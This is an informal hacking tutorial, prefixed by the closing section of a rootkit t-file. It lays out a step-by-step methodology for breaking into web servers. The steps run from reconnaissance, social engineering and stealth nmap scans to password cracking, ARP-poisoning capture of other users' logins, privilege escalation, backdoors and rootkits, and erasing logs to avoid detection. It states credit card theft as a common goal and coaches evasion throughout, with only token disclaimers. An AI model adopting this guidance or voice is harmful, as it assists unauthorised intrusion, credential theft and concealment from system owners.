Now it’s important that you know using rootkits could be a very easy way to get busted. There have been times when I have just gone into a system with a custom made log cleaner and nothing else. System administrators are getting quite clever and with the rapid growth of advance programs like “Promiscuous Detectors” and “Chkrootkit” it’s easy for the attacker to slip up and get busted. Kernel rootkits are the best type of rootkits to use when penetrating through a system but they are also the most complex and will require patience and understanding before they can be put to any real use. Before you just go out and install a bunch of rootkits on your “rooted boxes” I would strongly recommend experimenting with them on your own box, so you learn EXACTLY what they are doing. If you haven�t got a box to practice on I recommend you download and install a copy of VMWare, NEVER take risks! There is more to life than computers, don’t mess your whole life up with some stupid childish mistake!

Now I’m finished here with rootkits (Partly because my fingers are getting tired) I hope you have learnt SOMETHING from this t-file. I am sorry that I didn’t really go into much detail about kernel rootkits, system calls and LKM’s or ways to protect yourself from such malicious software but this is the “First Edition” I do eventually plan to develop this paper and continuously add to it as rootkits develop but no promises 😉

Hope you learnt something; I will finish off this paper by leaving with you some useful links and recommended reading material.

15 – Recommended reading and useful Links

Sunnie Hawkins, Understanding the Attackers Toolkit, January 13, 2001,URL: http://www.sans.org/infosecFAQ/linux/toolkit.htm

Andrew R. Jones, A Review of Loadable Kernel Modules, June 12, 2001, URL: http://www.sans.org/infosecFAQ/linux/kernel_mods.htm

Jason Drury, Sniffers: What are they and How to Protect From Them, November 11, 2000, URL: http://www.sans.org/infosecFAQ/switchednet/sniffers.htm

DeokJo Jeon, Understanding DDOS Attack, Tools and Free Anti-tools with Recommendation, April 7, 2001,URL: http://www.sans.org/infosecFAQ/threats/understanding_ddos.htm

Steve Gibson, The Strange Tale of the Denial OF Service Attacks Against GRC.COM, Gibson Research Corporation, Aug 31, 2001, URL: http://grc.com/dos/grcdos.htm

Black Tie Affair, Hiding Out Under UNIX, Volume Three, Issue 25, File 6 of 11, March 25, 1989, URL: http://www.phrack.org/show.php?p=25&a=6

Christopher Klaus, Backdoors, August 4 1997, URL: http://secinf.net/info/unix/backdoors.txt

Cra58cker, A Crash Course in Backdoors: http://www.invisibleghosts.net

16 – Credits

This paper couldn’t have been put together if it wasn’t for the following people…

Daremo – Explained the procedure used to disassemble and trace an installed rootkit.

Cra58cker – I wrote this 😉

Invisible Ghosts – My inspiration

Sailmap Manap – I quotes him quite a lot

Invisible Evil – Helped with the hiding methods

Mcaffee – Provided the analysis of the “T0rn” rootkit

Author of T0rn – For giving me something to write about!

…………………………………………………………………………………………………………………………………………….

How To Hack Websites And WebServers

Before you hack a system, you must decide what your goal is. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the ‘root’ access, screwing up the system by formatting everything in it, discovering vulnerabilities & see how you can exploit them, etc … ? The point is that you have to decide what the goal is first.
Download Tutorial How to Hack Webservers
The most common goals are:

1. breaking into the system & taking the admin privileges.
2. gaining sensitive data, such as credit cards, identification theft, etc.

You should have all of your tools ready before you start taking the steps of hacking. There is a Unix version called backtrack. It is an Operating System that comes with various sets of security tools that will help you hack systems (penetration tests).

You should set the steps (methodology) that you plan to take in your journey before you do anything else. There is a common methodology followed
by hackers, i will mention it below. However, you can create your own methodology if you know what you are doing.

Common steps to be taken for hacking a system:

1. Reconnaissance (footprinting).
2. Scanning.
3. Ports & Services Enumeration.
4. Vulnerability Assessment.
5. Vulnerability Exploitation.
6. Penetration and Access.
7. Privilege Escalation & owning the box.
8. Erase tracks.
9. Maintaining access.

The above methodology can change based on your goals. Feel free m8!

Before you break into a system, you have to collect as much info as you can on the system and target. You have to study your target well before you hack. This step is called Reconnaissance. Reconnaissance is achieved by using techniques & tools that are undetectable by the target. You are gathering your target’s info that is publicly published, e.g. browse your target’s website & if they are looking for an SQL employee and Windows server admin, then you get a hint that they are running Windows Server & do SQL’s, this is called a “passive” action. Lets see an example of active action! Example of active action: call the company to obtain some info, visit the company, email employees to get some info, go to the target’s website & read its source code. In other words, passive action means you gather info in a non-intrusive manner. Active action is a step further, such as talking to the company as if you are a customer, things like that. It is not really important to know what action is passive & what is active, the main goal here to gather info! Simple huh? Good, let me go deeper little bit.

In passive reconnaissance, there is a 0% chance of getting caught ;-), as you only target publicly available info to give you the feel on what your target looks like. The type of info you can gather through Passive Recon. are, names, phones numbers, location addresses, partner networks, and much more. This can aid you when you want to do some social engineering! Hence, sometimes you can get some non-public info that’s revealed when you do passive reconnaissance. There are several tools helps you to do passive reconnaissance, such as whois (who is). Whois helps you obtain extensive info, such as names, domains of the target, etc. Other great tools are, Sam Spade, domaintools, and google(can reveal lots of target subdomians & many more).

Active reconnaissance goes beyond the passive nature, such as communicating with the target without being caught, such as scanning. Anything not discovered in IDS(Intrusion Detection System) is considered active. You have to think of ways to extract info of the company in a normal way, public by going a little bit deeper than passive recon. e.g. you can go to the physical location, do some social engineering, email staff, communicate with employees based on the info you’ve gotten on your passive recons. Things like that!

Example of some techniques for active reconnaissance, such as banner grabbing, view company’s public website source code and directory structure, social engineering, shoulder surfing, etc.

What the heck is banner grabbing?
You let the server send you a block of information that tells you OS version of your target system & various association with it
Banner tells OS version and various association. Anything listening on a “port” can determine the operating system (OS) “the port” is running on, this called fingerprinting. In other words, fingerprinting is the process of determining the operating system (OS) or applications used by a remote target.

Can you give a brief example of Social Engineering?
For example, you try to find out where IT admin goes after business hours, then start to go to the place he goes & build a relationship , start making a friend relationship to extract more info slowly but surely, things like that! you know what i mean.

What is shoulder surfing?
Simply, stand behind a person’s shoulder and see what the guy is doing & typing on the keyboard. This can happen in a wireless network area where everyone is using a laptop in public areas.

In summary, reconnaissance is one of the most important steps in hacking. The main concept is to gather all the info that is publicly available or easily obtainable. Info that we gather will help us in social engineering and research purposes which will lead you to very critical info about the system. It starts by obtaining names, phones, emails, IP range, domain structure, and so on.

let me show you how banner grabbing is done, telnet into your target server on port 80 as the following, go to command line or terminal and type

telnet xx.xxx.xxx.xxx 80

Now the connection is established, that stupid server thinks you are a web browser connected to it, it waits you to enter commands so the server can you give you info about your request. In this situation, you have to write a command that says “Hey you web server, give me content of such and such website”. However, we do not really want to visit the website through telnet, do you? You can just go to web browser & request the website from there. Our purpose here is to freak the server out enough, so it spits back a code that says, hey! this doesn’t work but here is some info that might help you do some trouble shooting. This technique allows you to fingerprint various components of the target system.

Note: instead of telnet xxx.xx.xxx.xx 80, you can do nc xxx.xx.xxx.xxx 80! It’s the same thing … nc stands for netcat … xx.xxx.xx.xxx represents the IP address of the target system.

After you do telnet xxx.xx.xxx.xxx 80, the remote sever will wait you to enter a command. Type this:

HEAD / HTTP/1.0

Then you will get a reply looks similar to:-

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: “1813-49b-361b4df6”
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html

So the header response brought back some important info that says, the server runs: Apache/1.3.23 in UNIX OS for Red Hat distribution of Linux.

OR you might get header that looks similar to the following:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Tue, 17 Jun 2003 01:41:33 GMT
Date: Mon, 16 Jun 2003 01:41:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32:21 GMT
ETag: “b0aac0542e25c31:89d”
Content-Length: 7369

It means, the server runs: Microsoft-IIS/5.0 in Win 2000 or Win 2003 (we don’t the Windows version yet).

OR you might get header that looks similar to the following:

Date: Thu, 04 Dec 2008 02:18:46 GMT
Server: Apache/1.3.41 (Unix) PHP/4.4.8 mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.8b
Last-Modified: Thu, 10 Jul 2008 23:34:28 GMT
ETag: “c9865b-d91-48769c84”
Accept-Ranges: bytes
Content-Length: 3473
Connection: close
Content-Type: text/html

It means, the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8

Ok, you get it now?

lets say our target got the following version: the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8

At this point if you know any vulnerabilities for this particular OS or this particular Apache or PHP. You can start the exploitation process 😉 …

Another example, use program called sam-spade which gives you alot of info about your target. The target does not know actually what we are doing against their server, since they haven’t seen anything been triggered by IDS or Firewall.

*What is the difference between IDS & Firewall?
An IDS (Intrusion Detection System) may only detect and warn you of a violation of your privacy. Although most block major attacks, some probes or other attacks may just be noted and allowed through. There’s also an evolution of the IDS called an IPS (Intrusion Prevention System) that watches for the same things an IDS does, but instead of just alerting, it blocks the traffic.

A good firewall will block almost all attacks unless specified otherwise or designed otherwise. The only problem is, the firewall might not warn you of the attacks and may just block them.

It may be a good idea to have both an IDS and a Firewall, because the IDS will warn you and then the firewall will block the attack. Over the years, firewalls gottten more complex and added more features. One of these features is actually IDS – today you can have a firewall that already has IDS(Firewall/IDS’s are combined into one internet security program).

Note: the book in amazon is just an example for you to give you an idea of what kind of book you should be looking for – if you are interested.

Alright, now you at least have an idea of what reconnaissance is! lets talk about scanning…

When you scan your target’s network, you actually start touching the system. Scanning a network determines what’s in there, scanning network gives you the feel of how your target’s network is laid out, if there are multiple subnets, which hosts are alive, check ports, see if system is alive, discover available hosts & get info about the discovered hosts. There are thousands of tools can be used to scan networks! Scanning a network can easily get picked up by IDS. Anyhow, no one will pay attention except if you do it over and over because scans happens on such a regular basis on the internet. Therefore, people who read the logs, i means the webmaster won’t really pay attention to every single scan that occurs, so you don’t have to worry alot. There are ways to avoid being picked up by IDS :-). After you finish scanning, you will gain a list of network nodes that exists there.

“Node” is an active electronic device that is attached to a network, and is capable of sending, receiving, or forwarding information over a communications channel. If you want to learn more, google it or visit [Only registered and activated users can see links. ]) …

Ok now we want to discover live hosts via scanning. This is the first action taken against your target’s network. Depending on what method of scanning you use, you can be detected by IDS. Most admins will ignore detections because it happens alot unless something abnormal happens.

EDIT: TEMPORARY STOPPING POINT OF GRAMMATICAL EDITING

There are various scanner tools, e.g. nmap, superscan, and many more. There are various scan methods, some are stealthy, others are not.

Before i talk about various scanning methods, let me explain to you about TCP connections basics. When you scan your target using TCP communication, there are six TCP flags can be utilized during packet transmission(packets get transmitted during scanning process). A flag will indicate whether the sent packets are syn, ack, fin, urg, psh, or rst packets. These packets sets you in a position on how you want to communicate with the remote host. You can get different info depending on the flag you choose for the scanning.

TCP establishes three handshakes, syn, syn-ack, ack. What are they?
When you scan your target using TCP communication, you send a syn packet(syn request), and then target sends you back an ack packet with syn packet. Now, you send an ack packet to the target. So now both machines establish the connection well, like they have made a well established tunnel for a proper guaranteed communication without losing any packets during communicating with each other. A hacker can get caught easily if he uses this method to hack other systems illegally.

Hackers use non-standard combination of these six flags, which gives them info that are not normally available to the public.

Have you heard about syn flood?
syn flood is done by utilizing three handshake by sending “syn” request to the target, so the target receives a syn request and send an a syn-ack back to the originator(you). You ignore the target syn-ack request – when you ignore it, then the three handshakes is not completed, this is called half open TCP connection – In theory, when the target sends you syn-ack, the target allocates some RAM on its machine.

The amount of RAM on the target machine must be open until it gets response (ack packet) back from you because till now only two handshake has been made,so the TCP connection process is not completed yet. However, there is always a time limit for the RAM to be opened, so if 30 secs passed by & the target did not get the ack from you, the connection will abort(failed TCP handshake – timeout) & RAM will be deallocated.

The idea here is to send hell alot of packets in few secs so in 30 secs, you can send 40 million packets(lets say one packet size is 1kb) which is heavy on the RAM since the RAM might not have enough memory to carry 40 million packets. Therefore, you force the target to make half open TCP connection attempts, so definitely the target machine will stop responding to legitimate request. In other words, if you send 40 million syn requests to that remote host, it’s going to allocate a hell of a lot of ram for those requests. After a while, it’s going to eat up all of the ram. Thus, target system goes down. This is called syn flood attack.

In short, syn flood attack makes the system (i.e. the IP stack or kernel) chokes on the memory allocations (or simply runs out of memory) or the target application (i.e. web server) chokes on the processing load. You got it? Or not yet?! Syn flood is an old technique i just mentioned it here for illustration purposes.

General Information: these days, SYN floods are used to make systems inaccessible. They have a limited number of half open connections, you use them all, and they can’t accept any more SYNs. But again, modern software throws away old SYNs once the limit is reached. Note that different systems will behave differently.

Lets talk about the most common TCP Scan types. There are full scan, half open scan, stealth scan, Xmas scan, and ack scan.

full scan: this completes 3 way TCP. it is the most effective & gives more accurate results. However, it is not safe and easily traced and detected.

half open scan: it is the second most effective scanning method, only uses first part of the handshake to get syn-ack but does not send 3rd part (ack) back to the remote host. The idea here is if the remote replies back to you after you have sent syn request, this means the port – we sent the syn to – must be open.

stealth scan: the idea here is to scan ports randomly(not in sequential order) & reduce the speed of scanning. If you scan all port from 1 to 65536 in sequence, your more visible to be detected, and usually scanning happens so fast, which is unusual since regular program does not connect to port that fast, so this can make it easier to be detected. Therefore you have to scan ports randomly & reduce the speed of scanning. To avoid IDS, you should not use full connection scan with stealth scan, you can use half-open scan(syn). syn is considered a stealth scan. In fact, syn scan is called syn-stealth scan, or you can use Xmas scan with stealth scan which helps you to evade detection, things like that! you get my point i guess.

Xmas scan: uses fin, urg, and push flags which are used to bypass some firewalls. Xmas scan works with UNIX system, it does not work with Windows system.

ack scan: this helps you evading IDS not to get you detected. You send only an ack packet to your target, your target won’t know how to deal with it since there was no handshake. Thus, ack scan causes open ports in your target machine to return a reset packet(rst), rst packet gives you a hint that the port or service is not filtered between point A and point B, which usually firewal resides in between! Since the port replied you with rst packet this means there is no firewall between A(your machine) & B(port or service on the target machine) and rst packet also gives you an insight that the target port is open ;-). If there is a firewall, your ack packet would not reach to the target port & because of that you won’t get any rst packet. In addition, rst packet helps you indentify what system is running on the remote host.

These are the most common method of scans, there are hundreds of scanning methods! nmap allows you to set your own custom scan type e.g. instead of sending ack flags only, you can send ack flag and rst flag together and see what you get back from target …

OK! we have talked about how TCP scanning works in general. Now, i will be talking about UDP & ICMP Scanning … UDP and ICMP connections most of the times are blocked at the firewall level & even at the host level in some cases. We are going to scan on hosts & ports that respond via UDP. When you scan your target via UDP, there are many problem will occur during that process e.g. you can scan over the ports via UDP, assume you scanned port 1, and port 1 is closed, then host will send ICMP unreachable back to you, which gives an insight that port is closed because you didn’t get any UDP response back from target! Making sense,right? Unfortunately, we will never get a response back from target to ensure you that port is open!

Thats how UDP call works, send the packet & forget it. Lets say we come across port 21, and 21 is open, then port 21 on target machine will not reply back to you because UDP does not give you the guarantee the delivery packets during communication process, it just send the packet and forget, unlike TCP which guarantees the delivery of packets with no loss or corruption. Since we didn’t get reply back, then we can assume the port 21 is open *OR* maybe port 21 is closed and ICMP reply got lost somewhere so we didn’t get it! A general rule, when you don’t get a reply you assume port is open.

Some high professionals security person purposely configure ports to not to respond a UDP scanning. ICMP scanning is as same as UDP. ICMP scanning is noisy & can be picked by IDS very easily because ICMP sends random several pings to the network instead of a single host(ICMP scanning does a ‘ping scanning’ – sends ICMP packets – to the whole network instead of a single host). After you finish ICMP scanning, based on the replies you get back from the live hosts, then you can determine that your target network is listening for ICMP traffic and you might to do some exploit based on that. Unfortunately, there aren’t alot of ICMP exploits going around, so you are just going to use ICMP for network enumeration, you just do it to see what hosts are up, host A is up , host B is up & host C is up, they are replying for my ICMP. Thus, this let us know these 3 hosts are running on the targeted network and potentially can be a target for us. IDS’s are always listening for network scans & alot of network scanners provide a support for ICMP scanning, but do not have a way to make it stealthy! Therefore, ICMP can turn on the IDS alert which tells the security person there is somebody scans your whole network.

nmap is a great tool that is very popular, it is usually used to scan networks, hosts, ports, and does alot of other stuff. It is very intrusive tool and considered a hacking tool. Using nmap against systems you dont own or dont have permission to scan can be considered illegal. Lets see examples of some scanning method!

Example of ICMP Scanning(-sP) – this is called ping scan

nmap -v -sP xx.xxx.xxx.xx > filename

nmap: represents the program we are running which nmap.
-v: for increased verbosity, which means bring me extra details of the targeted system. (Optional – as far as i know)
-sP: the flag that determines the scanning method.
x’s: target IP address.
> filename: output the results to the newly specified filename. In other words, save results in a file (Optional)

This above command shows you the systems that are up and running, so this shows what available to us on the targeted network. As a result, you will get simple info that shows you there are number of IP addresses that responded to ping request – Note: there could be alot more machines out there that are not responding to ICMP scanning.

Lets see an example of UDP scan, UDP scan not so speed.

nmap -v -sU xx.xxx.xxx.xx

Results of UDP scan(-sU) give more info than ping scan(-sP). Keep in mind there could be hundreds of other ports are listening on the system which simply don’t respond to UDP connection.

ALRIGHT, now you have a good basic understanding about scanning! Next, i will be talking about fingerprinting! So keep learning 🙂

Now lets get deeper! By now we have determined what nodes are running up on the network. So we are ready to gather large info on those live systems we discovered in the previous steps. Ok! now you need to discover what services (application) are running on your target’s host. Every (or at least many) port has a service running on it. For example, web server usually are running on port 80. What we have to do is scan ports, see what kind of services(applications) are running on them, try to grab the versions of the services, this will help you to determine the OS as well. This is called ‘Port & Service Enumeration(fingerprinting)’. We have to do this step to understand what potential vulnerabilities your target has & how to exploit them.

Assume after we have scanned our target system, we found our target runs “IIS 5.0 Server” on “port 80”. Based on the scanning result, you can say the targer server is running IIS 5.0(IIS is set of Internet-based services, IIS is the second most popular web server – IIS is a Microsoft product), it is known IIS 5.0. has too many vulnerabilities & IIS 5.0 runs on Windows 2000, which Windows 2000 by itself has hundreds of vulns.

In other words, lets scan ports and services, and do OS fingerprinting, lets identify services on those live host in our target network. Once we know what services are running and what OS are running then we can start exploiting these services! – ‘ping/port/service’ scans are frequently run together using the same tool.

NOTE: identifying ports & services is the most critical part in hacking … PERIOD

OS fingerprinting is used for determining OS type and version, then we exploit vulns. that resides into the OS. When you fingerprint a target, your targets’ OS can be known from the TCP/IP stack, so fingerprinting happens on TCP/IP stack. Why? Because each OS has a unique implementation of TCP/IP, so TCP/IP stack is implemented differently from OS to OS, so an exact same query sent to one machine the respond of the result will be different than the other machine. Therefore, based on the response this can help the scanner determines the OS of the target, because every OS has its own unqiue response when you do OS fingerprinting request.

When you do a default install of OS, certain services will be installed by default, services that are needed for that OS to work properly, e.g. ports
137,138,139,and 445 which all combined together to produce Win 2000 OS or above. Another example, a combination of 139 and 445 can determine a certain version of windows such as Win XP or Win 2003, there are lots of ways to determine OS. Another example, if you see a service MS SQL is running on a certain port, you can determine the target OS is not in *nix family, it is in a Win family cause the target is running a Microsoft sql product. Thus, we can say port enumeration or service enumeration can help you in determining OS.

There tons of popular scanners out there:
SuperScan – Works good on Win OS.
Nmap – Works on *nix & Windows, *nix version is much more stable than Win version.

Most scanners offer full, half, stealth, and UDP scans.

You are goning to spend most of your time scanning your target machine to know whats available there, so you can exploit the vulns & penetrate the system. Therefore, you have to do some exploration on scanning methods & decide which method of scanning you feel more comfortable with…

Lets see an example of enumeration style scanning. Just keep in mind, this can be considered hacking! Make sure you do to your system, not somebody’s else.

This is kind of a stealth scan:
nmap -v -sS -A -sV xx.xxx.xx.xx > filename

This above request gives you very specific details about your target. sV is for version information identification. Check out the manual to know what these flags do – type “man nmap” to see the manual…

Alright, after we have fingerprinted services & OS, now its the time to check for various vulns against application(services) & OS running on the target system. This is called vulnerability assessment. To do vulnerability assessment, you can use the tools available, such as nessus. Nessus is free vulnerability assessment, huge database, its the best assessment tool.

Lets scan vulns on the target system. Lets say target system is win 2000 SP1 IIS 5.0, nessus goes back to its database and check the vulns for win2000 & IIS 5.0. If there is vulns not discovered, vulnerability assessment tool actually can’t catch it. However, if nessus couldn’t find matching vulns for the target system, it will let you if the system can have some security issues or not. Such tools are considered as Automated Vulnerability Assessment Tools. You have to know about the target system OS so you can do vuln assessment on it. There are vuln assessment OS specific, e.g. MBSA tool(only scans Win OS).

NOTE: you can do vulnerability assessment manually, this depends on you and your skills. By doing it manually, you can discover vuln. that nobody knows about it, and you can use it for your own use. It is a powerful and very discrete.

After we determined what systems & what services contain vulnerability, then we can exploit it(means take a chance of this vulnerability to achieve what you want).

common vulnerabilities out there are:

OS vulnerabilities
Webserver vulnerabilities
Database vulnerabilities
TCP stack vulnerabilities
Application vulnerabilities

Malwares, viruses, trojans, can be used to exploit vulnerabilities.

There are several automated vulnerability scanners, such as Nessus, Nikto. Security websites is a good resource for vulnerabilities as well, e.g.
bugtraq, CVE(Common Vulnerabilities and Exposures) sites, etc. Another good source to find vulnerabilities is hacker web sites.

Lets talk about the tools:

*Nessus – this is a great vulnerability assessment tool. However, in alot of cases it will perform exploits to see if the OS or service is actually vulnerable or not.

*Metasploit Framework – this is not vuln assessment tool. It is an exploitation tool, it contains hundrands of exploits helps you to exploit the system by using a nice selection of tools.

I will explain shortly about the common vulns…

OS Vulns: OS exploits are used to gain access to the system. OS exploits can used for DoS attacks too. watch the video tutorial. Most OS holes exist from default configuration, services and applications.

Webserver Vulnerabilities: webservers are the most trageted section. All people contact the webserver, thus you never know the hacker than a normal user. Webservers examples, Apache, IIS, and Tomcat. After you exploit the vulnerability in your target webserver, you can gain many different things, such as root access(the gist), website defacement, DoS(put the server down), theft or alteration data on server, or further penetration into the network.
Webserver is a great place to start when you want to do a penetration test!

Database Vulnerabilities: those software vendors who create databases applications such as SQL, Oracle, etc – they dont have security in mind, they care more into effeciency and how to make it easy for the users to handle with the database. They care about making their customers happy without giving that much attention in security issues!

TCP Stack Vulnerabilities: this is not a common used method to hack systems. Google it!

Application Vulnerabilities: some examples of application vulnerability, buffer overflow, weak authentication mechanisms, poor data validation(the most common one), and poor error checking.

ALRIGHT, to discover these vulnerabilities on the target machine you need to do vulnerability assessment. This can be done in two ways, manually or automatically. Manually means you try to discover a vuln. by yourself which eventually you will have vuln. that nobody else knows it & you can use it for yourself or publish it to security sites. Automatically means you rely on a tool that searches for vulns in the target machine, this tool has a database full of vulns. so this ‘tool’ will only inform you the vulns found in the target machine by relying on ‘its’ database. We are going to talk about auto vulnerability assessment. The most common & wonderful tool is Nessus, its free open source code!

Alot of common sense comes into play when analyzing vulns, for example you do not look for a database vulnerability in a webserver, things like that. Another resources, OVAL – gives you a good and basic foundation of vulns assess. methodology, FrSIRT – keeps track of vulns and make exploits of these vulns, you can join a paid subscription and then browse vulns avaialbe in their database and download exploits this is a good source for hacking or security, and websites for posting exploits such as milw0rm, hacking sites.

Lets have a closer look at nessus tool, nessus is client/server architecture. The process of setting it up is cumbersome. Nessus have about 9000 plugins, therefore it takes time to peroform the assessment. Results can be reviewed in a report. The report includes the vulnerabilities found on the target machine with a short description about the vulnerability.

Note: you can enable several plug-ins in plugin tab. You can specify range of ports through scan options. To specify the target, you should go to the target tab.

Once we have done the vulnerability assessment, and knew what vulnerabilities exit. We start gathering exploits of the found vulnerabilities to penetrate the system.

Lets talk about penetration and access! After all information we have gathered previously, its the time to break the system with the exploits you have.

Its the time to stop gathering information and start breaking into system. The ultimate goal is to gain the highest level of permissions. Try to use undiscovered techniques and methods. Think out of the box!

Some of exploits that enable penetration are:

*Buffer overflows
*Stack exploits
*Web vulnerabilities
*Services/apps that allow unauthenticated access.

Aside from the standard methods of penetration, lets see an penetration methods, here are some examples:

*SQL Injection – ability to change queries in the application before its sent into database.

*Application Error Handling – this can result DoS. Probably one of the most common vulnerability you can find in corporate arenas.

*Directory Traversal – browse directories you should not be able to do so on.

*Malformed Packets – one of the more difficult methods of penetration, requires very extensive knowledge of how TCP packets are assembled and disassembled. But once you get used to it, its probably the most effective ways of hacking.

*Bypassing Access Controls – password cracking is most common means of accessing systems.

*Social Engineering – i guess you know what it means.

*Sniffers – take passwords right off the wire, alot of protocls and application such as http & ftp communicate parrwods over the wire in plain text.

*Session hijacking – it is similar to sniffers, but you don’t gain a password because we take off the entire session, hijack the victim’s session & act as you are him.

Usually when you get passwords, you get it encrypted, or hashed or hidden in some way or another. Password cracking can be done in several ways, examples:

*Brute Force Attack – Every password, can and will be broken by brute force attack. It is about the time. Depends on the size of the password.

*Dictionary Attack – less effective than brute force, relies on list of words or phrases.

*Hybrid Attack – combination of different tools. It is a combination of effectivence of brute force and dictionary attacks & often using other attack mechanisms, such as cryptanalysis attack (one of the hybird attack).

You should know that when you do sniffing, you often get usernames & passwords in plain text. However, you can get encrypted passwords from sniffing as well. You will need to use of the cracking techniques discussed above. Sometimes cracking an encrypted passwords can take secs, hours, days, months, or even more!!!

There is a great software called “Cain & Abel”, it sniffs passwords from the wire, cracks it, etc. Once you install it, go to sniffers tab, then move to the found passwords in cracker tab to see what you have got! There is lots to it. You should know these techniques as a security person cause if you don’t know it, a black hat will take care of it.

Now, assume we already have hacked the system. We will try to do different things, such as getting the root, etc. Penetration & compromise got some differences in the meaning. Hacking into system does not mean you have compromised(taking the full control – take over) the system. After you penetrate the system, you can grab the session between client and server, e.g. you keep listening on login sessions, so when the remote user login to google, the session be dropped to you, once you get the session, the remote user won’t be able to get into his account he/she will see at page goes blank(disconnected), so he/she may think its a problem in a connection, thus he/she tries to login again & everything works fine! BUT you already got his session, you won’t have to go through login page when you want to see his/her email inbox, cause its already among the whole session you have taken.

Another way to do this, lets say the attacker has compromised the user’s system, thus the attacker can let the session drop on his machine, then he takes the session, reads and saves it. After that, he redirects the user to the server, this step will make everything works ok like nothing wrong happen.

Lets see an example of the above explained steps, after attacker installs “Cain & Abel” application, he moves to “attack base system” & click the sniffer button at the top & click the yellow button(APR Poisoning Button) besides the sniffer button. This APR Poising button trick the attacked system to talk to the attacker instead of normally who it talks to. For testing purposes, go and add various system addresses(IP’s) to the list. Let say one of the user amongst those targeted IP’s logon into ‘google’, at the authentication process you will notice varies pieces of info comes to you. You are gathering info by getting into the middle of the communication process. Now view the files you have got in the list, you can see among the lines the username & password of the users’ ‘google’ account in plain text! So how dangerous this can be to your privacy :-/! So be careful….

Once the hacker gains access to the system. He aims for admin(root) access. He moves up from guest level, to user level, up to root level. Owning the box, means take the system & prevent the admin from controlling the system, as well as preventing other hackers from getting in. So you hackers usually move on from the regular level, to the admin level so they can have full control. A hacker needs privilege escalation to compromise the system well. Some exploits allow buffer/stack overflows to obtain admin access. All it takes is a guest user, then a hacker can perform exploitations locally & there he goes to the root.

At this point, we did everything up to owning the box. Now our goal is to protect our access. Thus, we want to maintain our access to that hacked system, so we can use it later. You can maintain a system by using such tools, backdoor accounts, backdoor software programs, rootkits, etc. These tools help you maintain access. Some hackers own the box close all other accounts except his account, so the security person shut the system down, reformat the system and start over again.

By doing this, hacker account will be gone. Once we ensure we have maintained our access to the system, then we want to expand ourselves to other parts of the network. Remember, if you do not do this on your own network, somebody else will take care of it. If he does, i do not think you will be too happy! Once you got an access, and could maintain it successfully. You want to prevent detection or loss of access. There are several methods to maintain access, such as rootkits, OS exploits, erase tracks, install trojans that make you access backdoor, enable null sessions (webmaster usually go to the registry & disable null sessions to keep that vuln. from being exploited, webmasters usually do it once & do not get back to it. You can go there & enable it – NOTE: by enabling null sessions you can give other hackers a chance to hack too), and many more.

There different ways of system compromise, system compromise usually depends on your goal, examples of system compromising are root access(ultimate goal), data access/theft, DoS, and many more. Keep in mind, compromised systems can be detected after a while.

Now after a hacker breaks into the system, he tries to portect what he has hacked & erase his tracks. During the attack process try not to be detected so the webmaster don’t shut the server off, as well as do not forget to erase your tracks, e.g. you dont want the webmaster to see lots of failed logon in the log files, so you erase tracks to prevent future detection. Typically, get in the network as a shadow or ghost.

There are many method to evade those IDS so they don’t cut off your attack stream. Common methods for evading defenses might be by fragmenting packets(some programs do that e.g. fragroute), port redirectors, encoders(change the flow, the look, and feel of various traffics to pass firewall). After you get in and deceive defenses, you want to go to the log files and erase your tracks. Remember: sometimes you get in a user account then you get into a root by changing permissions of the user account, so you have to remember to set this user permissions back to as it was, things like that – you know what i mean, put yourself in a hackers shoe. Don’t delete the whole log files, this can make the security person more suspicious. We want to leave everything as it was so nobody can get a feel that an intruder was here.

To be safe, you should know where your actions are recorded, delete log files and other evidences that can get you caught, steganography(google it), and evading IDS & firewalls. All actions are recorded in some place on the system or the network. Assume IDS detects you, what do security persons do? Usually when you get detected, they may cut off all the ways for you so you don’t get a chance to penetrate, they probably going track you down, or they may decide let you go but watch you the entire time.

Where are your actions recorded & what things can let security person knows that you hacked his system? they are recorded in log files for various applications(e.g. IIS & Apache log files), file access times(note: there are tools for hackers that allow you to modify file access time), windows registry entries, hacker tools left behind (be aware of the residual configuration you have left behind – make sure you set all the configurations back to as it was), OS performance stats, IDS, proxy servers(make sure how you send and receive data. If you are going to use proxy server, set up a permanent tunnel through the proxy to the remote host that is compromised), and firewalls(usually very rich with logs).

There are various types of IDS, IDS can set anywhere in the network. There are network based IDS, host based IDS, and application based IDS.

Deleting evidences of your hack is extremely difficult, it requires you have a very high knowledge of the system you are trying to compromise(all the prior steps we did, such as scanning, foot printing, etc will be handy to compromise the system). It is easy to cover the known log files, such as web logs, firewall, IDS logs, etc. However, it is important to know how the default logs work. Highly skilled hackers, study the target well & take the time in fingerprinting & footprinting everything properly. It may take him up to one week before he hacks the target, but when he penetrates his job is done more smoothly & quietly. Unlike, the other ones who are just using some tools to break the system as fast as possible without studying the target well.

It is possible to delete log files! It is simple but usually requires admin access. Some files/logs may be deleted automatically with reboot. Don’t delete log files, it brings up suspicion. If you do so, the security person can indicates very clearly that a hacker broke into the system.

Most common way of hiding your tracks is by using a rootkit. Rootkit is set of tools used by an attacker after the attacker gets the root-access to system. Rootkits conceals(to keep from being observed) attacker activities on the hacked system. Once rootkit set on the system, its practically impossible to rid of it because rootkit uses technology, called “hooks”, that usually most of the time embed itself into various components of OS & effectively the OS going to be a toaster when the rootkit is all set and done. Security person has to rebuild his machine when rootkit is detected after we properly investigate it.

Steganography its about hiding a file into another file. Like hiding a malware into a normal software which makes it difficult for firewall or AV to detect the malware. Thats the basic concept of Steganography. There are alot of tools out there allow us to hide files inside another files.

You can evade IDS & firewalls by using random slow stealth scanning technique so traffic goes unnoticed, this takes longer to scan but makes detection more difficult. Try to use non-standard techniques, think outside the box.

Remember: not everyone out there is a security expert. To secure your system well, you need to put yourself in a hacker set of mind.

By now, you have learned the basic methodology that hackers use to break into the system. Anyhow, lets take a closer look on hacking techniques, such as encryption, sql injection, sniffers, and many more.

